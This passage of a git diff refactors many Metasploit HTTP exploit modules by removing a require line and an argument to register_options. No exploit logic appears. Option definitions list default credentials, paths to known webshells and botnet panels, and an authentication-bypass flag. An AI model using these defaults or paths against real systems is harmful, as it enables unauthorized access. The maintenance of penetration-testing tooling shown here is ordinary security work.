MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, "Base Application path", "/" ]), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin' ]) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index c96fe4d48d..586a43cbaa 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8000), OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 6d574aeaaf..8d213a5cd3 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote 'The "rogue" Splunk application tgz', File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz') ]) - ], self.class) + ]) register_advanced_options( [ @@ -80,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]), OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]), OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/spree_search_exec.rb b/modules/exploits/multi/http/spree_search_exec.rb index 832cef2473..038804b413 100644 --- a/modules/exploits/multi/http/spree_search_exec.rb +++ b/modules/exploits/multi/http/spree_search_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/spree_searchlogic_exec.rb b/modules/exploits/multi/http/spree_searchlogic_exec.rb index 857c460402..811dd45577 100644 --- a/modules/exploits/multi/http/spree_searchlogic_exec.rb +++ b/modules/exploits/multi/http/spree_searchlogic_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/struts2_content_type_ognl.rb b/modules/exploits/multi/http/struts2_content_type_ognl.rb index 8b7ae1dd26..b947089217 100644 --- a/modules/exploits/multi/http/struts2_content_type_ognl.rb +++ b/modules/exploits/multi/http/struts2_content_type_ognl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index b6480099dc..20c3966b9d 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) - ], self.class) + ]) end def execute_command(cmd, opts = {}) diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index 4893376653..efd6d31d03 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # It's going to manipulate the Class Loader @@ -85,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]), OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]) - ], self.class) + ]) deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS') end diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 9d9bcc461f..40a94f668a 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) - ], self.class) + ]) end def execute_command(cmd, opts = {}) diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index 8fc53b6155..168682f59f 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]), OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.', nil]), OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil]) - ], self.class) + ]) end def parameter diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index 613ec8ae4e..06434d29a6 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -74,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('PAYLOAD_REQUEST_DELAY', [true, 'Time to wait for the payload request', 5]), # It isn't OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ]) - ], self.class) + ]) end def on_new_session(session) diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index 51101ea197..f62677be5a 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/struts_dmi_exec.rb b/modules/exploits/multi/http/struts_dmi_exec.rb index c97a00d7cf..5b529b558e 100644 --- a/modules/exploits/multi/http/struts_dmi_exec.rb +++ b/modules/exploits/multi/http/struts_dmi_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']), OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil]) - ], self.class) + ]) end def print_status(msg='') diff --git a/modules/exploits/multi/http/struts_dmi_rest_exec.rb b/modules/exploits/multi/http/struts_dmi_rest_exec.rb index 7adf4c05b2..7ad7b4ead4 100644 --- a/modules/exploits/multi/http/struts_dmi_rest_exec.rb +++ b/modules/exploits/multi/http/struts_dmi_rest_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']), OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil]) - ], self.class) + ]) end def print_status(msg='') diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index 14f272491c..af8b640460 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -75,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank/example/HelloWorld.action"]), OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','POST', ['GET','POST']]), OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) - ], self.class) + ]) end def execute_command(cmd, opts = {}) diff --git a/modules/exploits/multi/http/stunshell_eval.rb b/modules/exploits/multi/http/stunshell_eval.rb index e6df8bb6b2..b64eef8e45 100644 --- a/modules/exploits/multi/http/stunshell_eval.rb +++ b/modules/exploits/multi/http/stunshell_eval.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]), - ],self.class) + ]) end def check diff --git a/modules/exploits/multi/http/stunshell_exec.rb b/modules/exploits/multi/http/stunshell_exec.rb index 452faf5481..a66ac1b3c8 100644 --- a/modules/exploits/multi/http/stunshell_exec.rb +++ b/modules/exploits/multi/http/stunshell_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]), - ],self.class) + ]) end def check diff --git a/modules/exploits/multi/http/sun_jsws_dav_options.rb b/modules/exploits/multi/http/sun_jsws_dav_options.rb index 9601ddd0bd..014f213472 100644 --- a/modules/exploits/multi/http/sun_jsws_dav_options.rb +++ b/modules/exploits/multi/http/sun_jsws_dav_options.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/http/client' class MetasploitModule < Msf::Exploit::Remote @@ -103,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PATH', [ true, "The URI path of a WebDAV collection on the server", '/webdav']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/sysaid_auth_file_upload.rb b/modules/exploits/multi/http/sysaid_auth_file_upload.rb index 50eed593b7..46f06a6e49 100644 --- a/modules/exploits/multi/http/sysaid_auth_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_auth_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'Password for the specified username']), - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb index 1fe9f34dd9..2f4ba83825 100644 --- a/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -52,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path to the SysAid application', '/sysaid/']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 1ef14c565f..5b01295f1f 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/testlink-1.9.3/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index f67d8a3738..430aab64bc 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -106,7 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('HttpPassword', [ false, 'The password for the specified username' ]), # /cognos_express/manager/ for Cognos Express (19300) OptString.new('PATH', [ true, "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 19afb97279..cff1580be3 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -99,7 +97,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('HttpPassword', [false, 'The password for the specified username']), # /cognos_express/manager/ for Cognos Express (19300) OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index a5caeffc82..9bc59b1ca8 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The path to the Traq installation", "/"]), - ],self.class) + ]) end def check diff --git a/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb b/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb index 85ec4d0297..0493ab567c 100644 --- a/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb +++ b/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), OptBool.new('AUTHBYPASS', [ true, 'Bypass the authentication', true ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/uptime_file_upload_1.rb b/modules/exploits/multi/http/uptime_file_upload_1.rb index e50a1ce5aa..1c175fa8ac 100644 --- a/modules/exploits/multi/http/uptime_file_upload_1.rb +++ b/modules/exploits/multi/http/uptime_file_upload_1.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']), Opt::RPORT(9999) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/uptime_file_upload_2.rb b/modules/exploits/multi/http/uptime_file_upload_2.rb index ebcee62cd3..29083a24ed 100644 --- a/modules/exploits/multi/http/uptime_file_upload_2.rb +++ b/modules/exploits/multi/http/uptime_file_upload_2.rb @@ -3,10 +3,10 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'nokogiri' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE @@ -52,14 +52,14 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(9999), OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample']) - ], self.class) + ]) register_advanced_options( [ OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\\Program Files\\uptime software\\']), OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']), OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\\windows\\system32\\cmd.exe']) - ], self.class) + ]) end def print_status(msg='') diff --git a/modules/exploits/multi/http/v0pcr3w_exec.rb b/modules/exploits/multi/http/v0pcr3w_exec.rb index c8c5958069..bd9b03842d 100644 --- a/modules/exploits/multi/http/v0pcr3w_exec.rb +++ b/modules/exploits/multi/http/v0pcr3w_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]), - ],self.class) + ]) end def check diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index 081b7421fc..f3ac343c6b 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]), OptString.new('CMD', [false, "Command to execute"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/vbulletin_unserialize.rb b/modules/exploits/multi/http/vbulletin_unserialize.rb index a9183cdb48..25ad97daec 100644 --- a/modules/exploits/multi/http/vbulletin_unserialize.rb +++ b/modules/exploits/multi/http/vbulletin_unserialize.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/visual_mining_netcharts_upload.rb b/modules/exploits/multi/http/visual_mining_netcharts_upload.rb index 547babae28..3f06b86c70 100644 --- a/modules/exploits/multi/http/visual_mining_netcharts_upload.rb +++ b/modules/exploits/multi/http/visual_mining_netcharts_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8001), OptString.new('HttpUsername', [false, "The username to authenticate with"]), OptString.new('HttpPassword', [false, "The password to authenticate with"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/vtiger_install_rce.rb b/modules/exploits/multi/http/vtiger_install_rce.rb index 46076f32c4..34fe5160de 100644 --- a/modules/exploits/multi/http/vtiger_install_rce.rb +++ b/modules/exploits/multi/http/vtiger_install_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote # Application database configuration is overwritten @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to Vtiger', '/']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb index 1ab8da5768..157345ce01 100644 --- a/modules/exploits/multi/http/vtiger_php_exec.rb +++ b/modules/exploits/multi/http/vtiger_php_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/vtiger_soap_upload.rb b/modules/exploits/multi/http/vtiger_soap_upload.rb index 89f2684aed..87371d346a 100644 --- a/modules/exploits/multi/http/vtiger_soap_upload.rb +++ b/modules/exploits/multi/http/vtiger_soap_upload.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote @@ -61,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/webnms_file_upload.rb b/modules/exploits/multi/http/webnms_file_upload.rb index 250f8053eb..2f35b61f13 100644 --- a/modules/exploits/multi/http/webnms_file_upload.rb +++ b/modules/exploits/multi/http/webnms_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index 4ad2b196c1..26981efc13 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 10ebc7548f..b47a61e70a 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index 6c5bc618a3..2b313f2ce0 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('PASSWORD', [true, 'WikkaWiki password']), OptString.new('PAGE', [true, 'Page to inject']), OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb b/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb index 51af361a24..0aa992660d 100644 --- a/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb +++ b/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/x7chat2_php_exec.rb b/modules/exploits/multi/http/x7chat2_php_exec.rb index ef9c0d12c8..8641d629cf 100644 --- a/modules/exploits/multi/http/x7chat2_php_exec.rb +++ b/modules/exploits/multi/http/x7chat2_php_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [ true, 'Username to authenticate as', '']), OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']), OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb index f30690cf58..34c7834c5c 100644 --- a/modules/exploits/multi/http/zabbix_script_exec.rb +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']), OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']), OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/zemra_panel_rce.rb b/modules/exploits/multi/http/zemra_panel_rce.rb index 5f6fb39320..3dd63843cb 100644 --- a/modules/exploits/multi/http/zemra_panel_rce.rb +++ b/modules/exploits/multi/http/zemra_panel_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]), - ],self.class) + ]) end def check diff --git a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb index 5bba09e754..235c91ca41 100644 --- a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb +++ b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote [true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']), OptString.new('TOMCAT_PATH', [false, 'The Tomcat webapps traversal path (from the temp directory)']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/zenworks_control_center_upload.rb b/modules/exploits/multi/http/zenworks_control_center_upload.rb index 0abf38123e..97e34dce78 100644 --- 